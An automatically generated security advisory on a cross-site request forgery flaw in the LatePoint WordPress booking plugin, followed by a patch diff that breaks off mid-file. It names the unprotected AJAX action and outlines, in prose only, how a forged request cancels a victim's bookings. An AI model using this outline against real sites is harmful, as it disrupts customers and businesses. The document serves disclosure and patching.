Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 13, 2026

CVE-2026-5365: LatePoint <= 5.3.2 – Cross-Site Request Forgery via 'customer_cabinet__request_cancellation' AJAX Route (latepoint)

CVE ID CVE-2026-5365
Plugin latepoint
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 5.3.2
Patched Version 5.4.0
Disclosed May 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5365:
The LatePoint plugin for WordPress (up to version 5.3.2) contains a Cross-Site Request Forgery vulnerability in the AJAX route handling booking cancellations. An unauthenticated attacker can trick a logged-in customer into submitting a forged request that cancels the customer’s active bookings. The vulnerability has a CVSS score of 4.3 (Medium).

The root cause is the absence of a nonce (security token) verification in the `request_cancellation()` function located in `latepoint/lib/controllers/customer_cabinet_controller.php`. The vulnerable function begins at line 277. It accepts the booking ID via `$this->params[‘id’]` and creates a new `OsBookingModel` object with that ID. The function then checks ownership by comparing `OsAuthHelper::get_logged_in_customer_id()` with the booking’s `customer_id`. It also verifies that `OsCustomerHelper::can_cancel_booking($booking)` returns true. However, the function never calls `check_nonce()` or any equivalent CSRF protection before performing the status update. An AJAX handler registered as `customer_cabinet__request_cancellation` exposes this function to web requests.

To exploit this vulnerability, an attacker crafts a malicious HTML page or email containing a forged request that triggers the AJAX endpoint. The target endpoint is `/wp-admin/admin-ajax.php` with the action parameter set to `customer_cabinet__request_cancellation`. The attacker must know a valid booking ID belonging to a logged-in customer. They then trick the victim into clicking a link or loading a page that automatically submits the form. The browser includes the victim’s session cookies, making the request appear legitimate. The server processes the cancellation without verifying that the request originated from the customer’s own browser session.

The patch in version 5.4.0 adds a single line at line 280 of `customer_cabinet_controller.php`: `$this->check_nonce( ‘cancel_booking_’ . $booking_id );`. This call validates a nonce token before processing the cancellation. The nonce is generated per-booking, making it unique and time-limited. Without the correct nonce, the function halts and returns an error. The patch does not change any other logic; it only introduces the CSRF protection. No other files in the diff directly relate to this fix.

Successful exploitation allows an attacker to cancel a victim’s confirmed bookings without authorization. This causes denial of service to both the customer and the business (LatePoint user). The customer loses their appointment slot. The business may face customer dissatisfaction, revenue loss, and support overhead. The attack does not expose sensitive data or grant administrative access. It only affects the booking cancellation functionality.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/latepoint/latepoint.php
+++ b/latepoint/latepoint.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: LatePoint
  * Description: Appointment Scheduling Software for WordPress
- * Version: 5.3.2
+ * Version: 5.4.0
  * Author: LatePoint
  * Author URI: https://latepoint.com
  * Plugin URI: https://latepoint.com
@@ -29,7 +29,7 @@
 		 * LatePoint version.
 		 *
 		 */
-		public $version    = '5.3.2';
+		public $version    = '5.4.0';
 		public $db_version = '2.3.0';


@@ -829,6 +829,7 @@
 			include_once LATEPOINT_ABSPATH . 'lib/helpers/events_helper.php';
 			include_once LATEPOINT_ABSPATH . 'lib/helpers/icalendar_helper.php';
 			include_once LATEPOINT_ABSPATH . 'lib/helpers/version_specific_updates_helper.php';
+			include_once LATEPOINT_ABSPATH . 'lib/helpers/update_helper.php';
 			include_once LATEPOINT_ABSPATH . 'lib/helpers/calendar_helper.php';
 			include_once LATEPOINT_ABSPATH . 'lib/helpers/meeting_systems_helper.php';
 			include_once LATEPOINT_ABSPATH . 'lib/helpers/marketing_systems_helper.php';
@@ -1056,6 +1057,9 @@

 		function plugins_loaded_hook() {
 			OsAnalyticsHelper::init();
+
+			// Should be trigger after all plugins are loaded.
+			OsUpdateHelper::init();
 		}

 		function check_addon_versions() {
--- a/latepoint/lib/controllers/customer_cabinet_controller.php
+++ b/latepoint/lib/controllers/customer_cabinet_controller.php
@@ -277,7 +277,8 @@
 			}

 			$booking_id = $this->params['id'];
-			$booking    = new OsBookingModel( $booking_id );
+			$this->check_nonce( 'cancel_booking_' . $booking_id );
+			$booking = new OsBookingModel( $booking_id );
 			if ( ! empty( $booking->id ) && ( OsAuthHelper::get_logged_in_customer_id() == $booking->customer_id ) && OsCustomerHelper::can_cancel_booking( $booking ) ) {
 				if ( $booking->update_status( LATEPOINT_BOOKING_STATUS_CANCELLED ) ) {
 					$status        = LATEPOINT_STATUS_SUCCESS;
--- a/latepoint/lib/controllers/pro_controller.php
+++ b/latepoint/lib/controllers/pro_controller.php
@@ -63,6 +63,11 @@
 			$this->vars['page_header'] = OsMenuHelper::get_menu_items_by_id( 'locations' );
 			$this->format_render( 'pro_feature', [], [], true );
 		}
+
+		public function assets() {
+			$this->vars['page_header'] = __( 'Assets', 'latepoint' );
+			$this->format_render( 'pro_feature', [], [], true );
+		}
 	}

 endif;
--- a/latepoint/lib/controllers/stripe_connect_controller.php
+++ b/latepoint/lib/controllers/stripe_connect_controller.php
@@ -23,12 +23,16 @@
 		}

 		public function create_payment_intent_for_transaction() {
-			if ( ! filter_var( $this->params['invoice_id'], FILTER_VALIDATE_INT ) ) {
-				exit();
-			}
 			try {
-
-				$invoice = new OsInvoiceModel( $this->params['invoice_id'] );
+				$invoice_access_key = sanitize_text_field( $this->params['key'] ?? '' );
+				if ( empty( $invoice_access_key ) ) {
+					throw new Exception( __( 'Invoice not found', 'latepoint' ) );
+				}
+				$invoice = new OsInvoiceModel();
+				$invoice = OsInvoicesHelper::get_invoice_by_key( $invoice_access_key );
+				if ( ! ( $invoice instanceof OsInvoiceModel ) || $invoice->is_new_record() ) {
+					throw new Exception( __( 'Invoice not found', 'latepoint' ) );
+				}

 				$transaction_intent = OsTransactionIntentHelper::create_or_update_transaction_intent( $invoice, $this->params );

@@ -54,7 +58,7 @@
 							'payment_intent_id'      => $payment_intent_id,
 							'payment_intent_secret'  => $payment_intent_client_secret,
 							'transaction_intent_key' => $transaction_intent->intent_key,
-						]
+						]
 					);
 				}
 			} catch ( Exception $e ) {
@@ -63,7 +67,7 @@
 						array(
 							'status'  => LATEPOINT_STATUS_ERROR,
 							'message' => $e->getMessage(),
-						)
+						)
 					);
 				}
 			}
@@ -121,8 +125,8 @@
 					[
 						LATEPOINT_PAYMENTS_ENV_LIVE,
 						LATEPOINT_PAYMENTS_ENV_DEV,
-					]
-				)
+					]
+				)
 			) ) ? $this->params['env'] : OsSettingsHelper::get_payments_environment();
 		}

@@ -135,7 +139,7 @@
 					'status'  => LATEPOINT_STATUS_SUCCESS,
 					'url'     => $url,
 					'message' => __( 'Redirecting to Stripe', 'latepoint' ),
-				)
+				)
 			);
 		}

@@ -157,14 +161,14 @@
 					array(
 						'status'  => LATEPOINT_STATUS_ERROR,
 						'message' => $e->getMessage(),
-					)
+					)
 				);
 			}
 			$this->send_json(
 				array(
 					'status'  => LATEPOINT_STATUS_SUCCESS,
 					'message' => OsStripeConnectHelper::get_connection_buttons_and_status( $env ),
-				)
+				)
 			);
 		}

@@ -205,14 +209,14 @@
 					array(
 						'status'  => LATEPOINT_STATUS_ERROR,
 						'message' => $e->getMessage(),
-					)
+					)
 				);
 			}
 			$this->send_json(
 				array(
 					'status'  => LATEPOINT_STATUS_SUCCESS,
 					'message' => OsStripeConnectHelper::get_connection_buttons_and_status( $env ),
-				)
+				)
 			);
 		}

@@ -227,7 +231,7 @@
 						'status'  => LATEPOINT_STATUS_ERROR,
 						'message' => 'Token is missing',
 					),
-					404
+					404
 				);
 			}
 			if ( $data['wp_latepoint_server_token'] != OsStripeConnectHelper::get_server_token() ) {
@@ -236,7 +240,7 @@
 						'status'  => LATEPOINT_STATUS_ERROR,
 						'message' => 'Invalid Token',
 					),
-					404
+					404
 				);
 			}

@@ -245,7 +249,7 @@
 					'status'  => LATEPOINT_STATUS_SUCCESS,
 					'message' => 'Heartbeat detected',
 				),
-				200
+				200
 			);
 		}

@@ -281,7 +285,7 @@
 					[
 						'cart_items_data' => wp_json_encode( $cart_items_data ),
 						'payment_data'    => wp_json_encode( $payment_data ),
-					]
+					]
 				);
 				if ( $this->get_return_format() == 'json' ) {
 					$this->send_json(
@@ -291,7 +295,7 @@
 							'payment_intent_id'         => $payment_intent_id,
 							'payment_intent_secret'     => $payment_intent_client_secret,
 							'order_intent_key'          => $order_intent->intent_key,
-						]
+						]
 					);
 				}
 			} catch ( Exception $e ) {
@@ -300,7 +304,7 @@
 						array(
 							'status'  => LATEPOINT_STATUS_ERROR,
 							'message' => $e->getMessage(),
-						)
+						)
 					);
 				}
 			}
--- a/latepoint/lib/controllers/wizard_controller.php
+++ b/latepoint/lib/controllers/wizard_controller.php
@@ -83,7 +83,7 @@
 						'message'       => $response_html,
 						'show_prev_btn' => true,
 						'show_next_btn' => $this->show_next_btn,
-					)
+					)
 				);
 			}
 		}
@@ -108,7 +108,7 @@
 						'message'       => $response_html,
 						'show_prev_btn' => $this->show_prev_btn,
 						'show_next_btn' => $this->show_next_btn,
-					)
+					)
 				);
 			}
 		}
@@ -121,6 +121,8 @@

 			add_option( 'latepoint_wizard_visited', true );

+			do_action( 'latepoint_onboarding_started' );
+
 			$this->vars['current_step_code']    = $current_step_code;
 			$this->vars['current_step_number']  = array_search( $current_step_code, $this->steps_in_order );
 			$this->vars['step_file_to_include'] = 'steps/_' . $current_step_code . '.php';
@@ -145,6 +147,10 @@

 			$new_current_step_code = $this->steps_in_order[ array_search( $current_step_code, $this->steps_in_order ) + 1 ];

+			// Wizard step completed.
+			$this->on_step_completed( $current_step_code, $new_current_step_code );
+
+			// Wizard is complete.
 			if ( 'complete' === $new_current_step_code ) {
 				do_action( 'latepoint_onboarding_completed' );
 			}
@@ -311,10 +317,31 @@
 		}

 		function step_personal_info() {
-			$this->vars['wizard_first_name']  = OsSettingsHelper::get_settings_value( 'wizard_first_name', '' );
-			$this->vars['wizard_last_name']   = OsSettingsHelper::get_settings_value( 'wizard_last_name', '' );
-			$this->vars['wizard_email']       = OsSettingsHelper::get_settings_value( 'wizard_email', '' );
-			$this->vars['wizard_email_optin'] = OsSettingsHelper::get_settings_value( 'wizard_email_optin', 'off' );
+			$current_user = wp_get_current_user();
+
+			$wizard_first_name = OsSettingsHelper::get_settings_value( 'wizard_first_name', '' );
+			$wizard_last_name  = OsSettingsHelper::get_settings_value( 'wizard_last_name', '' );
+			$wizard_email      = OsSettingsHelper::get_settings_value( 'wizard_email', '' );
+
+			if ( $current_user->exists() ) {
+				if ( empty( $wizard_first_name ) ) {
+					$wizard_first_name = $current_user->first_name;
+				}
+
+				if ( empty( $wizard_last_name ) ) {
+					$wizard_last_name = $current_user->last_name;
+				}
+
+				if ( empty( $wizard_email ) ) {
+					$wizard_email = $current_user->user_email;
+				}
+			}
+
+			$this->vars['wizard_first_name'] = $wizard_first_name;
+			$this->vars['wizard_last_name']  = $wizard_last_name;
+			$this->vars['wizard_email']      = $wizard_email;
+
+			$this->vars['wizard_email_optin'] = OsSettingsHelper::get_settings_value( 'wizard_email_optin', 'on' );
 			$this->show_next_btn              = true;
 		}

@@ -363,9 +390,43 @@

 			if ( $email_optin === 'on' ) {
 				update_option( 'latepoint_usage_optin', 'yes' );
+
+				$this->send_registration_data( $first_name, $last_name, $email, $email_optin );
+			}
+		}
+
+		function skip_setup() {
+			$current_step = isset( $this->params['current_step_code'] ) ? sanitize_text_field( $this->params['current_step_code'] ) : 'unknown';
+
+			$analytics                 = get_option( 'latepoint_onboarding_analytics', [] );
+			$analytics['exited_early'] = true;
+			$analytics['current_step'] = $current_step;
+			update_option( 'latepoint_onboarding_analytics', $analytics );
+
+			do_action( 'latepoint_onboarding_skipped', $current_step );
+
+			if ( $this->get_return_format() === 'json' ) {
+				$this->send_json(
+					[
+						'status'   => LATEPOINT_STATUS_SUCCESS,
+						'redirect' => OsRouterHelper::build_link( OsRouterHelper::build_route_name( 'dashboard', 'index' ) ),
+					]
+				);
+			}
+		}
+
+		private function on_step_completed( $step_code, $new_current_step ) {
+			// Save step completion to structured option.
+			$analytics = get_option( 'latepoint_onboarding_analytics', [] );
+			if ( ! isset( $analytics['completed_steps'] ) || ! is_array( $analytics['completed_steps'] ) ) {
+				$analytics['completed_steps'] = [];
+			}
+			if ( ! in_array( $step_code, $analytics['completed_steps'], true ) ) {
+				$analytics['completed_steps'][] = $step_code;
 			}
+			$analytics['current_step'] = $new_current_step;

-			$this->send_registration_data( $first_name, $last_name, $email, $email_optin );
+			update_option( 'latepoint_onboarding_analytics', $analytics );
 		}

 		private function send_registration_data( $first_name, $last_name, $email, $email_optin ) {
--- a/latepoint/lib/helpers/analytics_helper.php
+++ b/latepoint/lib/helpers/analytics_helper.php
@@ -39,6 +39,7 @@
 					'path'                => LATEPOINT_ABSPATH . 'lib/kit/bsf-analytics',
 					'author'              => 'LatePoint',
 					'time_to_display'     => '+24 hours',
+					'hide_optin_checkbox' => true,
 					'deactivation_survey' => apply_filters(
 						'latepoint_deactivation_survey_data',
 						[
@@ -66,7 +67,13 @@
 		// Plugin activated (dedup ensures).
 		self::events()->track( 'plugin_activated', LATEPOINT_VERSION );

+		// Plugin updated. Fires once per version change via OsUpdateHelper.
+		add_action( 'latepoint_update_after', [ __CLASS__, 'on_plugin_updated' ] );
+		add_action( 'latepoint_update_after', [ __CLASS__, 'on_plugin_updated_payment_state' ] );
+
 		// Event hooks.
+		add_action( 'latepoint_onboarding_started', [ __CLASS__, 'on_onboarding_started' ] );
+		add_action( 'latepoint_onboarding_skipped', [ __CLASS__, 'on_onboarding_skipped' ] );
 		add_action( 'latepoint_onboarding_completed', [ __CLASS__, 'on_onboarding_completed' ] );
 		add_action( 'activated_plugin', [ __CLASS__, 'on_pro_addon_activated' ] );
 		add_action( 'latepoint_settings_updated', [ __CLASS__, 'on_payment_processors_connected' ] );
@@ -88,12 +95,47 @@
 	}

 	/**
+	 * Handle onboarding started event.
+	 *
+	 * @return void
+	 */
+	public static function on_onboarding_started() {
+		self::events()->track( 'onboarding_started', LATEPOINT_VERSION );
+	}
+
+	/**
+	 * Handle onboarding skipped event.
+	 *
+	 * @param string $current_step The step the user was on when they skipped.
+	 * @return void
+	 */
+	public static function on_onboarding_skipped( $current_step ) {
+		$analytics       = get_option( 'latepoint_onboarding_analytics', [] );
+		$completed_steps = isset( $analytics['completed_steps'] ) && is_array( $analytics['completed_steps'] ) ? $analytics['completed_steps'] : [];
+
+		$props = [
+			'current_step'    => $current_step,
+			'completed_steps' => implode( ',', $completed_steps ),
+			'exited_early'    => 'yes',
+		];
+
+		self::events()->track( 'onboarding_skipped', LATEPOINT_VERSION, $props );
+	}
+
+	/**
 	 * Handle onboarding completion event.
 	 *
 	 * @return void
 	 */
 	public static function on_onboarding_completed() {
-		self::events()->track( 'onboarding_completed', LATEPOINT_VERSION );
+		$analytics       = get_option( 'latepoint_onboarding_analytics', [] );
+		$completed_steps = isset( $analytics['completed_steps'] ) && is_array( $analytics['completed_steps'] ) ? $analytics['completed_steps'] : [];
+
+		$props = [
+			'completed_steps' => implode( ',', $completed_steps ),
+		];
+
+		self::events()->track( 'onboarding_completed', LATEPOINT_VERSION, $props );
 	}

 	/**
@@ -104,12 +146,55 @@
 	 */
 	public static function on_pro_addon_activated( $plugin ) {
 		if ( 'latepoint-pro-features/latepoint-pro-features.php' === $plugin ) {
-			$version = defined( 'LATEPOINT_ADDON_PRO_VERSION' ) ? LATEPOINT_ADDON_PRO_VERSION : '';
+			$version = defined( 'LATEPOINT_ADDON_PRO_VERSION' ) ? LATEPOINT_ADDON_PRO_VERSION : 'unknown';
 			self::events()->track( 'pro_addon_activated', $version );
 		}
 	}

 	/**
+	 * Track plugin_updated event. Called via latepoint_update_after hook.
+	 *
+	 * @param string $old_version The version before the update.
+	 * @return void
+	 */
+	public static function on_plugin_updated( $old_version ) {
+		self::events()->track(
+			'plugin_updated',
+			LATEPOINT_VERSION,
+			[
+				'from_version' => $old_version,
+			],
+			true
+		);
+	}
+
+	/**
+	 * Capture current payment processor state on plugin update.
+	 * Reads from DB settings, not from a form submission.
+	 *
+	 * @return void
+	 */
+	public static function on_plugin_updated_payment_state() {
+		if ( ! class_exists( 'OsPaymentsHelper' ) && ! class_exists( 'OsSettingsHelper' ) ) {
+			return;
+		}
+
+		$env = OsSettingsHelper::get_payments_environment();
+
+		$processors = OsPaymentsHelper::get_payment_processors();
+		foreach ( $processors as $processor ) {
+			$code = $processor['code'] ?? '';
+			if ( ! empty( $code ) && OsPaymentsHelper::is_payment_processor_enabled( $code ) ) {
+				self::events()->track( $code . '_payment_enabled', $env, [], true );
+			}
+		}
+
+		if ( OsPaymentsHelper::is_local_payments_enabled() ) {
+			self::events()->track( 'local_payment_enabled', $env, [], true );
+		}
+	}
+
+	/**
 	 * Handle payment processors connected event.
 	 *
 	 * Records each enabled payment processor as a separate event — future-proof for new processors.
@@ -122,19 +207,19 @@
 			return;
 		}

-		$env = isset( $settings['payments_environment'] ) ? $settings['payments_environment'] : '';
+		$env = isset( $settings['payments_environment'] ) ? $settings['payments_environment'] : 'dev';

 		$processors = OsPaymentsHelper::get_payment_processors();
 		foreach ( $processors as $processor ) {
 			$code = $processor['code'] ?? '';
 			$key  = 'enable_payment_processor_' . $code;
 			if ( ! empty( $code ) && isset( $settings[ $key ] ) && 'on' === $settings[ $key ] ) {
-				self::events()->track( $code . '_payment_enabled', $env );
+				self::events()->track( $code . '_payment_enabled', $env, [], true );
 			}
 		}

 		if ( isset( $settings['enable_payments_local'] ) && 'on' === $settings['enable_payments_local'] ) {
-			self::events()->track( 'local_payment_enabled', $env );
+			self::events()->track( 'local_payment_enabled', $env, [], true );
 		}
 	}

@@ -189,6 +274,7 @@
 		return $stats_data;
 	}

+
 	/**
 	 * Get KPI tracking data for the last 2 days (excluding today).
 	 *
--- a/latepoint/lib/helpers/menu_helper.php
+++ b/latepoint/lib/helpers/menu_helper.php
@@ -130,6 +130,12 @@
 						'link'  => OsRouterHelper::build_link( [ 'pro', 'locations' ] ),
 					),
 					array(
+						'id'    => 'assets',
+						'label' => __( 'Assets', 'latepoint' ),
+						'icon'  => 'latepoint-icon latepoint-icon-layers',
+						'link'  => OsRouterHelper::build_link( [ 'pro', 'assets' ] ),
+					),
+					array(
 						'id'    => 'coupons',
 						'label' => __( 'Coupons', 'latepoint' ),
 						'icon'  => 'latepoint-icon latepoint-icon-tag1',
@@ -334,6 +340,12 @@
 						'link'  => OsRouterHelper::build_link( [ 'pro', 'locations' ] ),
 					),
 					array(
+						'id'    => 'assets',
+						'label' => __( 'Assets', 'latepoint' ),
+						'icon'  => 'latepoint-icon latepoint-icon-layers',
+						'link'  => OsRouterHelper::build_link( [ 'pro', 'assets' ] ),
+					),
+					array(
 						'id'    => 'coupons',
 						'label' => __( 'Coupons', 'latepoint' ),
 						'icon'  => 'latepoint-icon latepoint-icon-tag1',
--- a/latepoint/lib/helpers/shortcodes_helper.php
+++ b/latepoint/lib/helpers/shortcodes_helper.php
@@ -237,7 +237,7 @@
 					$output .= ! empty( $location->full_address ) ? '<div class="ri-map">' . $location->get_google_maps_iframe( 200 ) . '</div>' : '';
 					$output .= '<div class="ri-name"><h3>' . esc_html( $location->name ) . '</h3></div>';
 					$output .= ! empty( $location->full_address ) ? '<div class="ri-description">' . $location->full_address . '<a href="' . $location->get_google_maps_link() . '" target="_blank" class="ri-external-link"><i class="latepoint-icon latepoint-icon-external-link"></i></a></div>' : '';
-					$output .= '<div class="ri-buttons ' . $btn_wrapper_classes . '">
+					$output .= '<div class="ri-buttons ' . esc_attr( $btn_wrapper_classes ) . '">
 						<a href="#" ' . $data_atts . ' class="latepoint-book-button os_trigger_booking ' . esc_attr( $btn_classes ) . '" data-selected-location="' . esc_attr( $location->id ) . '">' . wp_kses_post( $atts['button_caption'] ) . '</a>
 					</div>';
 					$output .= '</div>';
--- a/latepoint/lib/helpers/time_helper.php
+++ b/latepoint/lib/helpers/time_helper.php
@@ -79,7 +79,7 @@
 		$ago_class = empty( $ago ) ? '' : 'time-past';
 		if ( $event_datetime ) {
 			$diff = $now_datetime->diff( $event_datetime );
-			if ( $diff->d > 0 ) {
+			if ( $diff->d > 0 || $diff->m > 0 || $diff->y > 0 ) {
 				$left = $before . $diff->format( '%a ' . __( 'days', 'latepoint' ) ) . $ago;
 			} else {
 				if ( $diff->h > 0 ) {
--- a/latepoint/lib/helpers/update_helper.php
+++ b/latepoint/lib/helpers/update_helper.php
@@ -0,0 +1,26 @@
+<?php
+
+class OsUpdateHelper {
+
+	/**
+	 * Run version-specific updates when the plugin version changes.
+	 *
+	 * @return void
+	 */
+	public static function init() {
+
+		$saved_version = get_option( 'latepoint_plugin_version', '0' );
+
+		do_action( 'latepoint_update_init', $saved_version );
+
+		if ( version_compare( $saved_version, LATEPOINT_VERSION, '=' ) ) {
+			return;
+		}
+
+		do_action( 'latepoint_update_before', $saved_version );
+
+		update_option( 'latepoint_plugin_version', LATEPOINT_VERSION, false );
+
+		do_action( 'latepoint_update_after', $saved_version );
+	}
+}
--- a/latepoint/lib/kit/bsf-analytics/class-bsf-analytics-events.php
+++ b/latepoint/lib/kit/bsf-analytics/class-bsf-analytics-events.php
@@ -58,42 +58,79 @@
 		}

 		/**
-		 * Track a one-time event. Skips if already tracked or pending.
+		 * Track an event. By default, skips if already tracked or pending (one-time semantics).
+		 * When $force is true, the event is treated as retrackable — bypasses the post-send
+		 * dedup check and overwrites any pending entry with the same name. Useful for
+		 * recurring events like `plugin_updated` where the latest value should always win.
 		 * Only stores temporary data — cleaned up after analytics send.
 		 *
 		 * @param string               $event_name  Event identifier.
 		 * @param string               $event_value Primary value (version, form ID, mode, etc.).
-		 * @param array<string, mixed> $properties  Additional context as key-value pairs.
+		 * @param array<string, mixed> $properties  Additional context as key-value pairs. Values are stored as-is — sanitization is the caller's responsibility.
+		 * @param bool                 $force       When true, bypass pushed dedup and overwrite pending entry. Default false.
 		 * @since 1.1.21
+		 * @since 1.1.25 Added the $force parameter.
 		 * @return void
 		 */
-		public function track( $event_name, $event_value = '', $properties = array() ) {
+		public function track( $event_name, $event_value = '', $properties = array(), $force = false ) {
 			// Sanitize inputs once upfront — ensures dedup comparisons match stored values.
 			$event_name  = sanitize_text_field( $event_name );
 			$event_value = sanitize_text_field( (string) $event_value );
 			$properties  = is_array( $properties ) ? $properties : array();
+			$force       = (bool) $force;

 			// Check dedup flag — already sent in a previous cycle.
-			$pushed = $this->get_option( 'usage_events_pushed', array() );
-			$pushed = is_array( $pushed ) ? $pushed : array();
-			if ( in_array( $event_name, $pushed, true ) ) {
-				return;
+			// Force bypasses this check; pushed list will be refreshed on next flush_pending().
+			if ( ! $force ) {
+				$pushed = $this->get_option( 'usage_events_pushed', array() );
+				$pushed = is_array( $pushed ) ? $pushed : array();
+				if ( in_array( $event_name, $pushed, true ) ) {
+					return;
+				}
 			}

 			// Check if already queued in current cycle.
 			$pending = $this->get_option( 'usage_events_pending', array() );
 			$pending = is_array( $pending ) ? $pending : array();
-			if ( in_array( $event_name, array_column( $pending, 'event_name' ), true ) ) {
-				return;
-			}

-			// Add to pending queue.
-			$pending[] = array(
+			$new_event = array(
 				'event_name'  => $event_name,
 				'event_value' => $event_value,
 				'properties'  => $properties,
 				'date'        => current_time( 'mysql' ),
 			);
+
+			if ( ! $force ) {
+				// Default path: cheap membership check — no need to locate the key.
+				if ( in_array( $event_name, array_column( $pending, 'event_name' ), true ) ) {
+					return;
+				}
+				$pending[] = $new_event;
+			} else {
+				// Force path: locate any existing entry by actual key to overwrite safely.
+				$existing_key = null;
+				foreach ( $pending as $key => $entry ) {
+					if ( isset( $entry['event_name'] ) && $entry['event_name'] === $event_name ) {
+						$existing_key = $key;
+						break;
+					}
+				}
+
+				if ( null !== $existing_key ) {
+					// Skip the write when nothing material changed (only `date` would differ).
+					$existing = $pending[ $existing_key ];
+					if ( array_key_exists( 'event_value', $existing )
+						&& array_key_exists( 'properties', $existing )
+						&& $existing['event_value'] === $new_event['event_value']
+						&& $existing['properties'] === $new_event['properties'] ) {
+						return;
+					}
+					$pending[ $existing_key ] = $new_event;
+				} else {
+					$pending[] = $new_event;
+				}
+			}
+
 			$this->update_option( 'usage_events_pending', $pending );
 		}

--- a/latepoint/lib/kit/bsf-analytics/class-bsf-analytics-stats.php
+++ b/latepoint/lib/kit/bsf-analytics/class-bsf-analytics-stats.php
@@ -101,6 +101,8 @@

 				'active_theme'           => get_template(),
 				'active_stylesheet'      => get_stylesheet(),
+
+				'admin_email'            => get_option( 'admin_email' ),
 			);
 		}

--- a/latepoint/lib/kit/bsf-analytics/class-bsf-analytics.php
+++ b/latepoint/lib/kit/bsf-analytics/class-bsf-analytics.php
@@ -30,7 +30,7 @@
 		 *
 		 * @var string Usage tracking document URL
 		 */
-		public $usage_doc_link = 'https://store.brainstormforce.com/usage-tracking/?utm_source=wp_dashboard&utm_medium=general_settings&utm_campaign=usage_tracking';
+		public $usage_doc_link = 'https://store.brainstormforce.com/usage-tracking/';

 		/**
 		 * Setup actions, load files.
@@ -164,6 +164,12 @@
 		 */
 		public function is_tracking_enabled() {

+			// Global kill switch — allows hosting providers, compliance plugins,
+			// or agency developers to disable all BSF tracking with one filter.
+			if ( ! apply_filters( 'bsf_usage_tracking_enabled', true ) ) {
+				return false;
+			}
+
 			foreach ( $this->entities as $key => $data ) {

 				$is_enabled = get_site_option( $key . '_usage_optin', false ) === 'yes' ? true : false;
@@ -202,6 +208,28 @@
 		}

 		/**
+		 * Get usage doc link with UTM parameters.
+		 *
+		 * Appends product-specific UTM params to the default usage tracking URL
+		 * so we can attribute which plugin's link was clicked.
+		 *
+		 * @param string $product_key Product key (e.g., 'spectra', 'surerank').
+		 * @param string $context     Where the link appears ('notice' or 'settings').
+		 * @return string Full URL with UTM parameters.
+		 * @since 1.1.23
+		 */
+		public function get_usage_doc_link( $product_key, $context = 'notice' ) {
+			return add_query_arg(
+				array(
+					'utm_source'   => $product_key,
+					'utm_medium'   => $context,
+					'utm_campaign' => 'usage_tracking',
+				),
+				$this->usage_doc_link
+			);
+		}
+
+		/**
 		 * Display admin notice for usage tracking.
 		 *
 		 * @since 1.0.0
@@ -225,7 +253,7 @@
 			foreach ( $this->entities as $key => $data ) {

 				$time_to_display = isset( $data['time_to_display'] ) ? $data['time_to_display'] : '+24 hours';
-				$usage_doc_link  = isset( $data['usage_doc_link'] ) ? $data['usage_doc_link'] : $this->usage_doc_link;
+				$usage_doc_link  = isset( $data['usage_doc_link'] ) ? $data['usage_doc_link'] : $this->get_usage_doc_link( $key, 'notice' );

 				// Don't display the notice if tracking is disabled or White Label is enabled for any of our plugins.
 				if ( false !== get_site_option( $key . '_usage_optin', false ) || $this->is_white_label_enabled( $key ) ) {
@@ -240,9 +268,9 @@
 				/* translators: %s product name */
 				$notice_string = sprintf(
 					__(
-						'Help us improve %1$s and our other products!<br><br>With your permission, we'd like to collect <strong>non-sensitive information</strong> from your website — like your PHP version and which features you use — so we can fix bugs faster, make smarter decisions, and build features that actually matter to you. <em>No personal info. Ever.</em>'
+						'<strong>Help shape the future of %1$s.</strong><br><br>Share how you use the plugin so we can build features that matter, fix issues faster, and make smarter decisions.'
 					),
-					'<strong>' . esc_html( $data['product_name'] ) . '</strong>'
+					esc_html( $data['product_name'] )
 				);

 				if ( is_multisite() ) {
@@ -270,7 +298,7 @@
 									</div>
 								</div>',
 							/* translators: %s usage doc link */
-							sprintf( $notice_string . '<span dir="%1s"><a href="%2s" target="_blank" rel="noreferrer noopener">%3s</a><span><br><br>', $language_dir, esc_url( $usage_doc_link ), __( ' Know More.' ) ),
+							sprintf( $notice_string . '<span dir="%1s"> <a href="%2s" target="_blank" rel="noreferrer noopener">%3s</a><span><br><br>', $language_dir, esc_url( $usage_doc_link ), __( 'Learn more.' ) ),
 							esc_url(
 								add_query_arg(
 									array(
@@ -280,7 +308,7 @@
 									)
 								)
 							),
-							__( 'Yes! Allow it' ),
+							__( 'Happy to help!' ),
 							esc_url(
 								add_query_arg(
 									array(
@@ -291,7 +319,7 @@
 								)
 							),
 							MONTH_IN_SECONDS,
-							__( 'No Thanks' )
+							__( 'Skip' )
 						),
 						'show_if'                    => true,
 						'repeat-notice-after'        => false,
@@ -371,6 +399,9 @@
 		private function optout( $source ) {
 			update_site_option( $source . '_usage_optin', 'no' );
 			update_site_option( 'bsf_usage_last_displayed_time', time() );
+
+			// Clear tracking transient immediately so opt-out takes effect right away.
+			delete_site_transient( 'bsf_usage_track' );
 		}

 		/**
@@ -455,7 +486,7 @@
 					continue;
 				}

-				$usage_doc_link = isset( $data['usage_doc_link'] ) ? $data['usage_doc_link'] : $this->usage_doc_link;
+				$usage_doc_link = isset( $data['usage_doc_link'] ) ? $data['usage_doc_link'] : $this->get_usage_doc_link( $key, 'settings' );
 				$author         = isset( $data['author'] ) ? $data['author'] : 'Brainstorm Force';

 				register_setting(
@@ -511,7 +542,7 @@
 				<input id="<?php echo esc_attr( $args['id'] ); ?>" type="checkbox" value="1" name="<?php echo esc_attr( $args['name'] ); ?>" <?php checked( $is_checked ); ?>>
 				<?php
 				/* translators: %s Product title */
-				echo esc_html( sprintf( __( 'Allow %s products to track non-sensitive usage tracking data.' ), $args['title'] ) );// phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText
+				echo esc_html( sprintf( __( 'Help improve %s by sharing non-sensitive usage data — like PHP version and features used.' ), $args['title'] ) );// phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText

 				if ( is_multisite() ) {
 					esc_html_e( ' This will be applicable for all sites from the network.' );
--- a/latepoint/lib/kit/bsf-analytics/modules/utm-analytics.php
+++ b/latepoint/lib/kit/bsf-analytics/modules/utm-analytics.php
@@ -11,7 +11,6 @@
 }

 if ( ! class_exists( 'BSF_UTM_Analytics' ) ) {
-

 	if ( ! defined( 'BSF_UTM_ANALYTICS_REFERER' ) ) {
 		define( 'BSF_UTM_ANALYTICS_REFERER', 'bsf_product_referers' );
@@ -43,8 +42,13 @@
